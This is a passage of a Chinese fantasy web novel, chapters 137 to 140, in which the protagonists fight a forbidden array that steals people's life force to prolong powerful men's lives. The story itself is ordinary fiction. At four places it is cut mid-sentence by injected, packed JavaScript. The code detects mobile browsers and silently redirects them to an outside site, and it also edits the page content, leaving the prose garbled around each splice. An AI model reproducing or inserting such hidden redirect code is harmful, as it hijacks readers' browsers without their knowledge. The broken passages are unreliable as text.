独孤尽给陆烨修吃了一剂定心丸。 “怎么驱散?我已经用了研究出来的所有办法,都没能驱散。”陆烨修之前研究黑雾研究了很久,可对待这个巨型的黑雾,他一点办法都没有。 “你别急,反正现在也看不见,我们当你的眼睛,你就当患了眼疾,要过几天才能恢复光明。”独孤尽继续宽慰陆烨修。 可这越宽慰陆烨修越难过,在这种时候丧失视力,相当于成为一个拖累。 “来,放轻松,把这个黑雾忘了,你就全忘了就行。”独孤尽扶着陆烨修,让他跟着往前走。 独孤尽本想找个店坐下来喝点东西,但想到陆烨修的状态,怕被旁人看见增加他的紧张和恐惧,只能又找了一家酒店。 开房的时候,前台听到他们三个大男人开一间房,还是多看了他们几眼。 “有什么问题吗?这个房型不是可以住四个人的吗?”独孤尽实在觉得别扭。 “是,先生,这是您的房卡。”前台收回了自己的目光,礼貌地双手递上房卡。 独孤尽把房卡给了春渐满,他则继续扶着陆烨修,还要一边防止他摔倒。 折腾进了房间,三个人才同时松了一口气。 “我把这个理论跟你说一下,具体能不能驱散黑雾,还得看你自己。”独孤尽让陆烨修坐下来,才自己开了瓶矿泉水喝了口。 他见春渐满在满屋找什么,提醒了一句,“这里没汽水,要喝得去便利店买。” “这个黑雾,应该是人们负面情绪的提取,我们暂且不知道他们是怎么提取的,玄学方面陆烨修你应该比我们清楚。” “我怀疑,他们一开始囚了那么多人在林桥别馆,一方面是进行非法直播,赚取黑心钱,一方面是这个人体器官方面的,有另一块黑心牟利,除此之外……” “他们既然跟玄门有关系,玄门里可能也有人研究了禁术,需要这最负面的情绪,去完成什么……” 独孤尽又喝了一口水,他目光沉沉盯着春渐满和陆烨修,“一开始,是黑雾,这个黑雾影响了所有人,让他们更加焦躁,更加容易出现负面情绪,这个黑雾就更加浓烈,从一开始一小片,到后来每个人都被影响了。” “他们要这个黑雾干什么呢?肯定有大作用。”独孤尽竖起一根手指摇了摇,“这个目的我们暂且还不知道,但他们应该没想到大家这么容易适应新环境,才过了一月余,生活就像恢复了正常一样。” “这个时候我出现在了林桥别馆,去挑衅了他们,他们又追查到了留在这的你,你又跟玄门有关。” “我明白了,他们不想要我的命,但想阻挠我,让我别再参与了。”陆烨修恍然大悟,可就算这样,他也不想失明。 “这个黑雾,之所以这么浓,除了是他们专门用来对付你的之外,还有你自己的原因,你太恐惧它了,负面情绪冒出的太多,助长了它的能力。”独孤尽重新开了一瓶水递给陆烨修,“重点在你自己能不能把这黑雾当个屁一样放了。” “啊,满哥,不好意思,在你面前讲脏话了。”独孤尽说完突然想起来自己的形象,有点儿局促地看向春渐满,却见春渐满没啥反应,只是盯着他手里的水。 “满哥,等会儿给你找好喝的汽水,还有很多味道你没尝过。”独孤尽安抚了一句,也就这么一句话的时间,他发现陆烨修的神情有点儿松懈了,眼睛也越来越亮。 “兄弟,还得是你啊,我能看见了,虽然害怕的时候还会突然黑一下,但是我只要尽量粗线条地把它忘记,也就能看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689033|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西了。”陆烨修觉得自己的眼睛现在特别像九十年代的雪花电视,一会儿黑一会儿亮。 虽然这样日常行动还是受限,但比完全看不到要好太多了。 “既如此,我再给你进行一下治疗。”独孤尽把治愈术又笼罩在陆烨修身上,给他彻底进行了一阵疗愈。 陆烨修这会儿真的觉得身心舒畅了,之前因为被追而紧绷的肌肉都松弛下来了,只要往床上一躺,他都能直接入睡了。 “来,看看吧,这个东□□孤尽示意春渐满把东西拿出来,虽然他很不希望陆烨修碰他的满哥,但现在只有两手交握,陆烨修才能看到这蜡花长什么样。 陆烨修大约猜出过两人的关系,现在看到独孤尽亲自拉着他的手放在春渐满的手上,表情顿时五颜六色起来。 “别想七想八了,赶紧看。”独孤尽抓住陆烨修想要缩回的手,强迫他低头看手里。 “这……”陆烨修低头发现原本还空无一物的手里突然出现了两个东西,其中一个像融化的蜡,还有一个是做工精巧的蜡花。 “你把在电话里没说完的话说完。”独孤尽提醒他。 “哎呦,你别说,你还真别说,这花我真见过。”陆烨修拼命在脑海里翻找自己看过的禁术。 那些禁术光是看着就匪夷所思,他觉得不会有太多人去钻研,可现在这东西出现在了现实里,说明有人已经动用了禁术。 “我明白了……”陆烨修又是一阵恍然大悟,独孤尽光在旁边看他摇头晃脑了,没好气地拍了他一记,“别卖关子了,赶紧说。” “他们这是要将所有人类献祭,如果我没猜错,应该不止一块大荧幕装了这种常人看不见的东西。”陆烨修试图长话短说,“他们大概也没料到还有别人能看见这东西。” “这阵法已经启动了,只是还没彻底成,能量还没收集到位。”陆烨修说了半天都没说到重点上,独孤尽愈发焦急,“所以呢?” “这能量,应该是从人类身上汲取的,就是不知道收集的是生命能量还是负面能量,只要收集到一定程度,能让阵法启动,这个世界的所有人都会被他们所用,这些能量应该能变相让一些有权有势的人续命……” “也就是用玄术逆天改命,有些已经得了绝症的,也能用其他人的命数抵自己的……”陆烨修倒吸了一口凉气,“这是又阴又毒的禁术,怎么会有人敢……” “使用了禁术有后果吧?”独孤尽不信这么大的动作,能毫发无伤。 “有……以后莫说子孙后代,连转世轮回都不可能。”陆烨修实在难以想象,究竟是谁有这么大的胆子,做这种事。 难道,只求在世期间的欢愉? 还是被人所逼? “不管怎样,我们都不能让这个阵完成!”陆烨修又眨巴了几下眼睛,他现在好像一点儿也不畏惧黑雾了,也就能看见东西了,“这件事,光靠我们几个没办法,还得请求上面的支援。” 137. 人各有命 独孤尽看向春渐满,很想让他直接跟上面请求支援,毕竟以春渐满的身份,会更得到上面的重视,但显然,春渐满还是没想起来自己的身份。 “我来打电话联系。”独孤尽刚说完,陆烨修就举起了手,“我来吧,我已经麻烦过他们了。” “另外,你们得陪我回趟家,具体破解阵法的办法应该在我家的藏书里记着。”陆烨修原本是很自信的,但在这种大事上,他也想谨慎一些,毕竟如果有一个小细节他记错了,那就是全人类的灾难。 当然,那些动了歪心思的人不算在内。 独孤尽跟春渐满对视了一眼,他其实想直接去对方的大本营,把大本营捣毁,那这个阵法自然也就成不了了。 “满哥,你跟他过去可以吗?”独孤尽试探了一下,如果春渐满不愿意,那他就不冒险独自前往,跟他们一起去看书里记载的破解之法。 “你要单独行动?”春渐满没回答,反而反问独孤尽。 “这样太慢,而且,打草惊蛇才能让他们露出破绽,无论是上面排查,还是我们自己找阵点都会更快。”独孤尽又看了一眼陆烨修,“你现在能一直看见了?” “我把我最珍视的人交给你,别让他受伤了。” 陆烨修并不接话,如果可以,他恨不能刚刚自己没说过希望他们一起回去,让他跟独孤尽喜欢的人呆一会儿,那不是折磨他吗? 虽然他之前是对独孤尽产生过那么一丁点儿的好感,但现在,他心中只有大爱,毫无个人私情。 越是这种情况,他越不知道自己该怎么面对春渐满。 尤其现在的春渐满还丧失了记忆,他相处起来就更尴尬了。 “不然这样,你俩一起行动,我自己回家一趟。”陆烨修指了指自己,“我把书偷出来,到时候我们一起看。” “你先去进行你的计划,我举双手双脚赞成。”陆烨修现在哪还有以前的大大咧咧,不知道是不是被黑雾影响了,心思都变得细腻了。 “也行,那满哥,你跟我走。”独孤尽朝春渐满伸出了手,可春渐满却没如他所愿,他看向了陆烨修,“我跟你去取书。” 他现在不相信自己看到的东西,虽然这个世界据说是真实的世界,可仍旧有他跟独孤尽看不见的东西,可见,看见的东西也不一定都是真实的。 他不知道自己为什么已经百分百信任了独孤尽,但他知道自己现在不怎么信任眼前这个人。 春渐满目光灼灼看向陆烨修,这期间,没再看独孤尽一眼,这可把独孤尽弄急了。 他的满哥怎么能用那种目光看陆烨修呢?! 陆烨修也急了,这个春渐满怎么这么盯着他,那他还不被自己兄弟给记恨上?! “我走了。”独孤尽有点心灰意冷,他不想再看这两人,甚至没再讨论在哪集合,直接瞬移去了他做了标记的那人身边。 那人正在一间黑暗的屋子里,如果不动用感知力,那就是伸手不见五指,但独孤尽丝毫不急,毕竟在感知力的作弊下,他能看清一切,甚至看到那人正在进行什么秘术。 这是绝对邪恶的秘术,毕竟,那张类似于手术台的床上躺着一个不知生死的人,独孤尽面前能在他身上察觉到一丝微弱的生机,但即将流逝。 而被他做了标记的那位正在他身上捣鼓些什么,在这么黑暗的环境里,能做什么好事吗? 独孤尽的突然出现并没有惊扰到两人,可能是独孤尽的动作够轻,可能是独孤尽给自己做了一层假象,让别人无法轻易探知到他的气息。 “好好睡吧,今天过去,你又会回到二十多岁。” 独孤尽集中了注意力,才听清了这句碎碎念。 像是安抚躺在那即将离世的人。 难道哪个阵法成了?已经把能量提供过来了? 独孤尽满脑子的疑问,他警惕地感知着四周,就怕生机被运过来,他没来急及时插手,让其他好端端的人丧了性命,救了这个本该死的人。 生机被截断的那一刻,还是惊动了那人。 “谁?!谁敢在此阻挠我成大事?!”那人虽有恐惧,却口口声声自己的大义。 既然自己已经被发现,那他大可不必继续藏着。 独孤尽调整了一下声音,让自己听起来既空洞遥远又低沉稳重,“汝要成何等大事?” 这句话问出来后,他明显感觉到对方的震颤,包括躺在那的那位。 “这可是栋梁,他造福了人类,现在他的生命即将走到尽头,我自当救他以让正义长存!” 独孤尽听到这些话只是在嘴里嚼了嚼就把它吐了出去。 “呸——你听听你说得话有一句能听的吗?” “若他真是造福人类的栋梁,被你这么一搞,他好不容易积的德也该都没了。”独孤尽一边继续截断生机,一边朝病床靠近。 “不仅没了,恐怕累及子孙后代,这是他想看到的吗?” “可能,他确实不在意子孙后代,毕竟他才是这一脉中最强的,只要他自己能活着就够了,但这就是你危害人间的理由吗?”独孤尽把阻断的生机重新赶回去。 有一些像是感受到自己不再被控制,立马逃了回去,可仍有一些不受控制。 “回去吧,都回去,这里不是你们该呆的地方。”独孤尽又催促了一声,这一催把那人催急了。 “你休要胡说,乱我道心,我本就是为了大义,只要赵先生能活着,一切的一切都不重要。”那人上前来抢夺仅剩的一些生机,如果这次不成,要等下次,可能就没时间了。 赵先生等不及了,他没那么多时间了。 玄门已经想尽了方法救他,这是最后的办法,且把这么重要的事情交给了他,断然没有在他手里失败的道理。 究竟是谁?!究竟是谁能这么如出入无人之地一样出现在他身边?! 独孤尽暗自叹了一口气,他现在是真的相信自己是从天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689034|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下来的了,毕竟,他信奉的是人各有命,即便是再有才的大能,命数到了,也不该强留在人间。 说不定离开了人间,还有其他需要去实现的事情。 强留人是个什么道理? 独孤尽不知道躺在那的那位到底怎么想的,知不知晓这些事情。 “要造福人类,却要用无数人的性命,你仔细想想,这不讽刺吗?”独孤尽不明白怎么能有人相信这么离谱的事。 “我们用的人命不多,可赵先生能拯救成千上万的人,这笔买卖不亏!” “用人命来对比人命,你自己听听合理吗?”独孤尽实在无话可说。 这是典型的“电车难题”,如果你明知道轨道一边是对人类有贡献的人,他即将被火车轧死,另外一边是十名罪大恶极的歹徒,到底要不要变换火车轨道呢? 有些人仔细思考后,想到了实际操作的可能性,自己根本不知道怎么改变轨道走向,也没能力改变,有的人则还陷在难题中,想要选择改变轨道,但那样自己就背上了十条人命,且这十条人命本就该死,哪怕不是被火车轧死,也该受到法律的惩罚被执行死刑。 有人会去想自己救了一位对人类有利的人吗?会,有人会这么想,可即便这么想了,他们也无法承受背负十条人命的沉重感。 这是难解之题,可现在,有人真选择了另一边,且坚信自己做的没问题。 “你们到底有多少人?”独孤尽深觉,这背后的人绝对不止他一个,且他这明显就是被拿出来当炮使的,他原本在他身上做标记也是为了找到幕后之人,可他没想到一过来碰上的是这么个场景。 “这人今天注定无法汲取他人的生命之力了,你就死了这条心吧,最好能完成他最后的心愿,而不是把人类的大功臣留在这种暗无天日的地方。”独孤尽根本不给对方汲取生命之力的机会,他一而再再而三打断对方,实在把对方惹怒了。 但对方只能无能狂怒,毕竟他先前就没打过独孤尽,更别提现在无论是环境,还是他有所需求,他都处于弱势,更拿独孤尽没办法了。 独孤尽也不跟他废话了,他走到病床边,用感知看了一眼这人,“你还能听到我们说话,对吗?告诉我,你想留在这,还是让我把你带出去?” 独孤尽想了想,看向他的手指,“你要是同意出去,就稍微动动手指,这点力气总还是有的吧?” 虽然躺在那的某人确实没这点力气,可他实在不想再任人鱼肉了,强撑了一口气,动了一下指尖。 “得咧,您归我了。”独孤尽双手都握住了病床,直接瞬移回了酒店,他可没功夫跟人纠缠,且只要救治的目标不在,那残留了些生命之力也无伤大雅了,总能回去。 到了明亮的地方,独孤尽才能看到这人是名他都知道姓名的老者,他满脸痛苦,这种痛苦不用细看,也不用会医,只要长了眼睛,都能看出来。 “让……让我走……”他气若游丝。 138. 神木为引 “您想去哪儿?”独孤尽凑上前去,确实,凭借着这位老者对人类的贡献,完全配得到所有人的尊重。 独孤尽也不例外,他极其认真地看着老者,想听他最后留下的话。 “回……回老家……”老者眼角留下了些许湿润,他不能再被那些家伙抓住了,他要回家,落叶归根。 独孤尽虽认识老者,也对他的丰功伟绩有所了解,但确实不清楚老者的老家在哪。 “您……老家在哪儿?”独孤尽知道此时此刻问这些有点儿为难老者了,哪怕思绪还是清明的,也没力气说出地址。 独孤尽又看了眼不知道何时会断气的老者,在网上查了一下大概的地址,就将老者带去了那片区域。 入眼是一片金灿灿的稻田,正是麦子丰收的季节,老者像是闻到了熟悉的泥土气息,脸上焦急悲怆的神色转变成了安心,独孤尽扶着他侧了侧身体,让他看见了这副丰收的情景。 “您稍等,我问问人。”兴许在熟悉的地方,只要报出他的名字,大家都知道他的老宅在哪儿。 可这田埂上也没什么人,独孤尽瞭望了一下,靠着自己的感知力,勉强找到了一人,这人正在遛狗,瞧见独孤尽扶着一位不省人事的老者顿时过来帮忙,“这怎么回事?人怎么了?” 他有浓重的口音,可语气里的担忧骗不了人,独孤尽欣慰地看了眼老者,“放心吧,您一定能回家。” 即便这世上有那些歪门邪道的人类,那也有着这样纯朴善良的人类,好与坏是并存的,就像光影不能分割一样。 “这瞧着怎么那么像那位啊……”他借了一辆电三轮过来,把老者扶上去时,才注意到老者的脸。 “这不是老徐吗?是那个……那个……”他结结巴巴说不出话,有点儿震惊地盯着人。 “就是您知道的那位,他在老家还有亲人吗?麻烦您把我们带过去。”独孤尽知道找对人了,赶忙出声催促,现在每分每秒都很关键。 “好,好!”对方立马应声,这可是大事啊,这位不仅是他们村里的名人,更是带领他们村致富的关键人物,同样是让全人类过上好生活的人。 “你,你是?”他在前面开着车,还不忘扭头问了独孤尽一句。 “我是……是他朋友,忘年交。”独孤尽也不敢自称是老者的徒弟,毕竟这有点太厚脸皮了,只能假借朋友的名义。 他一边开着车,一边打了几个电话,独孤尽看他操作那叫一个惊心动魄,本就不宽的田埂路,颠得独孤尽生怕老者有个好歹,赶忙用能力给老者营造了一个平稳的空间,让他看起来虽然是躺在电动三轮后面,实际上却躺在了他这个柔软的空间里。 无风无菌的环境能够最大程度保证老者的生命,虽然没办法给老者续上营养液,但想来,老者也不想再折腾了,他既然想回到老宅,就是想让生命随风而去,而不是强留在人间。 冲着老者对生命的这份淡然,独孤尽就愿意倾尽全力帮上一帮。 就在独孤尽帮着老者实现生命尽头的愿望时,春渐满和陆烨修正大眼瞪小眼,谁也没行动。 “还不走?”春渐满提醒陆烨修,此事不宜拖延。 “要不,你在这等我?我自己回去?”陆烨修现在非常后悔自己没提前离开,反而要独孤尽先跑了,他硬着头皮又看了春渐满一眼,“算了,走吧。” 他没有独孤尽的瞬移能力,只能打电话给上面,联系最快的交通方式。 上面接到陆烨修电话的时候都已经有些习惯了,这人每次出现的地方都让他们匪夷所思,主要是,要在这么短的时间内到达另一个地方本就不合理,尤其是他们还监控了陆烨修的定位,就更加匪夷所思了。 不过,这关系到人类到存亡,他们只能尽力配合。 “好,等会儿会有专车过来接您,直接到机场上飞机。” 陆烨修听到电话那头的声音,暗自叹了口气,他都快习惯这种特事特办的感觉了,以后真恢复了平静的生活,可能都要不习惯。 “你不能像他一样直接过去?”春渐满迟疑地看着陆烨修,如果要用普通的交通方式,那还真不如在这里等独孤尽处理完事情直接带着他们俩一起瞬移。 “不能,不是谁都这么逆天的。”陆烨修实在不想承认自己的无能,但有些能力真不是谁都能有的。 “走吧,如果他先忙完了,总能定位到我们在哪来找我们。”陆烨修对独孤尽的能力非常自信。 春渐满有点嫌弃地坐上了专车,他看着高楼耸立的城市,特别不习惯,在他的世界里,花草树木应该占最大的比例,再然后才是小木屋和人类。 这里是反的,可他们都说这才是真实的世界。 春渐满心里全是愁绪,可这些话他没法对陆烨修说,毕竟他看起来对他也不是很友善。 飞机这东西春渐满还是第一次坐,虽然据说他作为人类的时候经常要坐这种交通工具,可现在,他失去了记忆,就是第一次坐这种东西。 碰到气流的时候,他险些把窗户打破直接出去。 “你干嘛?!打破了窗户不仅是我们要被吸出机舱,还要连累工作人员!”陆烨修眼看着不对,赶紧按住了春渐满。 独孤尽过来的时候看到的就是春渐满一脸不情愿,以及陆烨修死死扣住春渐满手腕的样子。 “你们在干什么?!”狗血永远不过时,独孤尽深吸了口气,虽然理智上知道这两人不可能发生什么,无论是陆烨修不可能对春渐满下手,还是春渐满不可能对陆烨修有什么其他感情,可这画面还是冲击到了他。 “快!兄弟你快帮忙!他要砸窗!”陆烨修抓不住了,真抓不住了,他松了手,把春渐满往独孤尽身边推了一把。 春渐满不可能被陆烨修这样一个普通人给推动,他反手就把陆烨修的手给扭到了他身后,“他好弱。” “喂!你们两个!欺人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689035|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太甚!”陆烨修虽会一些术法,但对上独孤尽和春渐满他还真没办法。 “满哥,松手吧,我们先出去。”独孤尽知道陆烨修家在哪,他一手拎着陆烨修,一手揽着春渐满继续区别对待瞬移到了地方。 陆烨修家毕竟也是玄门世家,家里突然出现三个人不可能没察觉,尤其这三人中有一人是他们的儿子。 可谁都没敢在这种时候敲陆烨修的房门。 “这也太精准了,兄弟你的能力日渐增强啊。”陆烨修实在感叹,这种有天赋的真的容易气着人。 “你们跟我出去吧,这件事还是给跟我家里说一声,那些东西都在他们手里收着呢。”古籍可不是随随便便就能被他翻出来的。 陆家人不是第一次见独孤尽和春渐满了,可这次,态度尤其严肃,“这件事,我们都清楚有多重要,可……能不能别把我们儿子牵扯进去?” “书可以给你,但人我们要留下。”陆父和陆母态度强硬地就差说一手交人一手交货了。 独孤尽看了眼陆烨修,冲他眨了眨眼睛,“那后面的事你就别参与了。” “哦,好。”陆烨修接收到独孤尽的暗示,即便再不情愿,也点了点头。 这下倒是让陆父陆母怀疑了,他们儿子还从没这么听话过,肯定有问题。 “你真不闹着去成就你的大业了?” “不闹了。”陆烨修点了点头,只是这话说得他烫嘴,好半天才说出来。 “那他们要是需要你协助呢?”陆父陆母指了指独孤尽和春渐满。 “我们不需要他协助,只要把古籍给我们就行。”独孤尽立马表达了拒绝。 陆烨修差点跳起来,敢情就想赶他走嫌他碍事是吧? 陆父陆母看到儿子这种反应才稍微放心了点。 “那东西都在这,具体是哪本古籍,我们也不记得了。”陆父陆母不愿意说可陆烨修知道具体的,他在每本书上都做了标记,很好分辨。 陆烨修刚要上手去拿古籍,就被陆父陆母钳制住了肩膀。 “让他给我们找一下书吧。”独孤尽头疼看书,春渐满倒是不介意找,只不过有人能直接点出更省时间。 陆父陆母自知这个要求也不过分,况且,他们也敌不过独孤尽和春渐满,如果硬是对着来,到时候自家儿子也想跑,他们还真拦不住。 陆烨修一得到自由,里面就把古籍拿过来翻了起来,只花了几分钟就把那页掀开在大家面前。 “这,就这,每个点,只要吸收到万人的能量,就会被启动,就能用了……一旦所有的点都被启动,就会将龙脉的能量转化为他们的能量……到时候就危险了……”古籍上记载得很详细,包括破解之法。 “等等……他们还需要一枚引子,神木?神木是什么?”陆烨修注意到上面的标注,这个地方没图,很容易让人忽视。 独孤尽这回没有任何迟疑,直接看向了春渐满。 139. 釜底抽薪 鉴于之前见过春渐满的不同形态,独孤尽根本没作他想,这个神木十有八九就是春渐满,而春渐满好似也有所感应,他拿过书仔仔细细又看了一遍注释。 “从现在开始,我回之前的世界,不再过来这边。”只能从根源上断绝这种可能性。 “不保险,那边的世界也会被黑雾侵蚀。”独孤尽摇了摇头,当务之急,最重要的不是把春渐满藏起来,而是把阵点破坏掉。 “必须将蜡烛全都拆下来燃毁是吗?”独孤尽也拿过了古籍,反复研读破解之法。 “还必须在日光极好的时候燃毁,秋季虽干燥少雨,可有的地方在降温,雨也在下……”独孤尽谋划了下,“现在这个蜡烛只有满哥你能看到,只能由你去拆,也只能由你来找……” 独孤尽觉得漏了什么,他继续仔仔细细翻阅古籍,终于在某处标记发现了其他方法,“你们看这里,还可以用鸡血助其显形。” “难道要全世界喷洒鸡血吗?事后清理也很费劲。”陆烨修并不赞同这种排查方式,且不说上面会不会同意,就算上面同意了,到时候起了民愤,引起对手的关注也是不得了的事。 “确实……不实用……这古籍也不记载点实际的。”独孤尽叹了口气,把书合上,“不管怎么说,谢谢,后面的事就交给我们吧。” 他朝着陆烨修点了点头,压根没打算把古籍还回去,跟陆父陆母告别后,就牵着春渐满往外走。 一直走到离陆家有点距离了,他才看着春渐满跟他说出自己的计划,“陆烨修那边,就不让他参与了,他应该想要一起行动,但有些时候,家人的担心也需要成全。” “我给上面说一声,让他们提供大屏幕的具体位置,先去把之前发现的那个拆除吧。” 独孤尽简单扼要跟上面说明了情况,这次,上面没像之前一样立刻就答应下来,好像有什么顾虑,只说他们先去查。 独孤尽带着春渐满很快就到达了之前的点,想要在不惊动外人的情况下把蜡烛都拆除下来,只能让这片区域变成“怪奇诊所”。 春渐满见独孤尽都部署好了,才让自己的枝条延长出来,把那些个蜡烛全都打落下来。 独孤尽像接果子一样在下面接着蜡烛,每个被他接到的蜡烛都先传送回了画里,否则,他一个人也没办法兜这么多的蜡烛。 索性重要传回他屋里,有多少都能放的下,只不过,不知道在那边的世界燃毁它是不是跟在现实世界燃毁有一样的效果。 “好了,都清理干净了,你有看到那些从蜡烛里飘出来的生命之力吗?”春渐满能明确感觉到他每剔除一个蜡烛,都会有一些能量逃离,回了不知名的地方。 “看来我们的方法没错,即便现在还没彻底毁了阵点,也能让他们元气大伤。”没了这些生命之力,他们就算想要为人续命也续不了。 其他阵点比这个大荧幕难找,而大荧幕也并非必要条件,只是偶然条件,他们要找的是人流多的地方,像商场,就是人流聚集的地方,人多了才能收集到生命之力。 以此推断后,独孤尽又去了学校、医院这些地方,果不其然,多转了几圈,还真找到了。 学校的被它们放置在升旗台,因每周一必升旗,全校师生都会聚集在此,能量也更容易被抽离,真的是极其可恶了。 而医院的很好找,就设立在大门口,独孤尽带着春渐满过去转的时候,门卫保安差点把他抓起来,毕竟,大家来医院都是看病的,而独孤尽和春渐满这两人跟大门杠上了,在大门口转悠半天,怎么看都有问题。 索性独孤尽递了根烟,解释说自己跟春渐满两人是美术学院的,只是想要更近距离观察建筑,所以才在这转悠,这才糊弄了过去,趁人不备,重新让这里变成“怪奇诊所”的区域,顺利把蜡烛取了下来。 “你说那些人到底是怎么把这些东西放上去的?难道大家都看不见他们吗?”差点被人揍之后,独孤尽有些无奈,他这边光是取就已经够费劲了,对方又是怎么躲过了这么多人? “兴许,真瞧不见。”春渐满从口袋里拿出那本古籍,“对,这里,有一种玄门秘术可以让人隐形。” “哪儿?我看看我看看。”独孤尽把古籍拿过来研究了一下。 你别说,你还真别说,这些古老的玄门秘术还真是什么都有,隐身之法也写得详细,只不过,他可能学不会了,毕竟不是玄门出身,里面很多术语他都看不懂。 “你连这都看不懂?”春渐满有些嫌弃地把书拿回,紧接着,独孤尽就看到春渐满突然消失了。 他伸手往前够了够,果不其然触碰到了温热的身躯,“你会?!” 春渐满重新显形,“刚学的,上面已经写这么清楚了,我也没想到还有人能不会。” “春老师!请务必教教我。”独孤尽这会儿也感受到春渐满的强大了,怪不得那些神兽们都要感慨春渐满的博学多才,这哪怕有他不会的,现学都能现教吧。 “你应该也能学会。”春渐满绕着独孤尽转了一圈,又好好打量了一下他,才下了定论,详细给他讲解其中细节。 独孤尽听到这些直白地翻译后,也能理解照做了,而他本就会不少,这些东西都是一通百通的,没费多少功夫,他也学会了。 “这下好了,再也不用被其他人用异样眼光看着了。”独孤尽大大方方牵着春渐满的手朝下一个点走去。 春渐满看着自己的手被紧紧扣住,总觉得有哪儿不对劲,这隐身之术学了难道不是方便拆蜡烛的吗?怎么反倒是给了独孤尽方便。 独孤尽是美滋滋了,找蜡烛都变得快了不少,不知道是找了一些有经验了,还是怎么回事,基本上他猜测的地方都有蜡烛。 “满哥,这个阵要成,必须满足几个条件,里面有一个生命能量必须达到这个浓度,我们现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689036|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在拆了这么多阵点了,就算其他阵点全都收集到了生命能量,也凑不够这个总量吧?而且,这个引子,必须要你。”独孤尽觉得不能盲目,一味只知道拆这些蜡烛是没用的,他们拆得再多,对方也能补上,唯一的办法仍旧是釜底抽薪。 “我不是在那人身上留了标记吗?我之前过去的时候,他正好在给一个将死之人传递能量,被我拦截下来了,我觉着,他肯定得回去报告情况,不过也有可能因为事情太严重,逃跑了。”独孤尽垂眸思索了片刻,“但无论如何,我觉得都该再去一趟。” “那你还在等什么,走吧。”春渐满也不想这么漫无目的一个个拆下去。 ———————————— “人丢了?!第二次了,如果不是看在你没胆反叛,我真该将你视为叛徒处死。” “都是那小子,不知道是何方神圣,可能查到对付他的办法?” “玄门中似乎没这小子的资料,不过民间有个传闻和你描述的极其相似。” “莫非是……” “‘怪奇诊所’,不是玄门出来的,但行事诡异,着实让人措手不及。” 这边正讨论得热火朝天,还不知道他们讨论之人即将到来,独孤尽也不知道自己已经被人猜出了身份,他带着春渐满瞬移过来时,还是有点尴尬的。 是正巧落在谈话二人组面前的。 “就是他!就是他!快!抓住他!” 独孤尽一时有些慌乱抓着春渐满躲过了一击攻击,而春渐满根本不需要独孤尽护着,他发射了枝条出去,如同利箭一样钉住了两人的衣服。 “真不是我要叛变,是他强得可怕!”对方仍在哭诉,他的苦真的无论怎么诉说都不够。 “你是幕后之人?”独孤尽扬起下颚看了一眼,这人跟自己人见面也戴着个面具,这面具是真的有点阴间的,上面画满了人的眼睛,乍一看就像是一个脑袋上长满了眼睛。 “你这面具,我收下了。”独孤尽看了春渐满一眼,春渐满心领神会,枝条当下就抽在了那面具上。 可一阵烟过后,面具是留下了,人也不见了。 “主子!!!”被留下的炮灰撕心裂肺喊着。 “你这主子是全然不顾你啊,不如,跟着我们……”独孤尽的话还没说完就被春渐满瞪了一眼。 这种垃圾也收? “不如,跟着我们去警局自首吧。”独孤尽把没说完的话说完,又冲春渐满笑了笑。 这种垃圾他也不想要,还是交给国家改造吧。 “你们这么做是在阻止世界进步!是要遭报应的!都是你们,都是你们!”那人还真有几分信仰,只不过他的信仰太歪门邪道了。 “那算了,既然你这么不情不愿,我还是带着你去找你的旧主吧。”独孤尽只是抬了抬手,就将周围变为了“怪奇诊所”的范围,现在……他要重操旧业来审问这人了。 140. 不死不灭 “别!别杀我!” 独孤尽还没开始用上“怪奇诊所”的惯用诊疗,对方就已经开始叫嚣着求饶。 头一次见到人求饶求这么快的,难道“怪奇诊所”现在只要开张,就会让人有压迫感吗? 独孤尽眨巴着眼睛看向春渐满,春渐满冲他摇了摇头,他除了水压之外,其他都没感觉到。 可能那人本就贪生怕死吧。 “那就带我们去找你的主子。”独孤尽乐得对方主动交代。 “我,我找不到主子,平时我们就是在这里碰头的,他不在的话,我也不知道去哪里能见到他。” 独孤尽都不用怎么分辨就知道对方没说谎。 那倒是他打草惊蛇了。 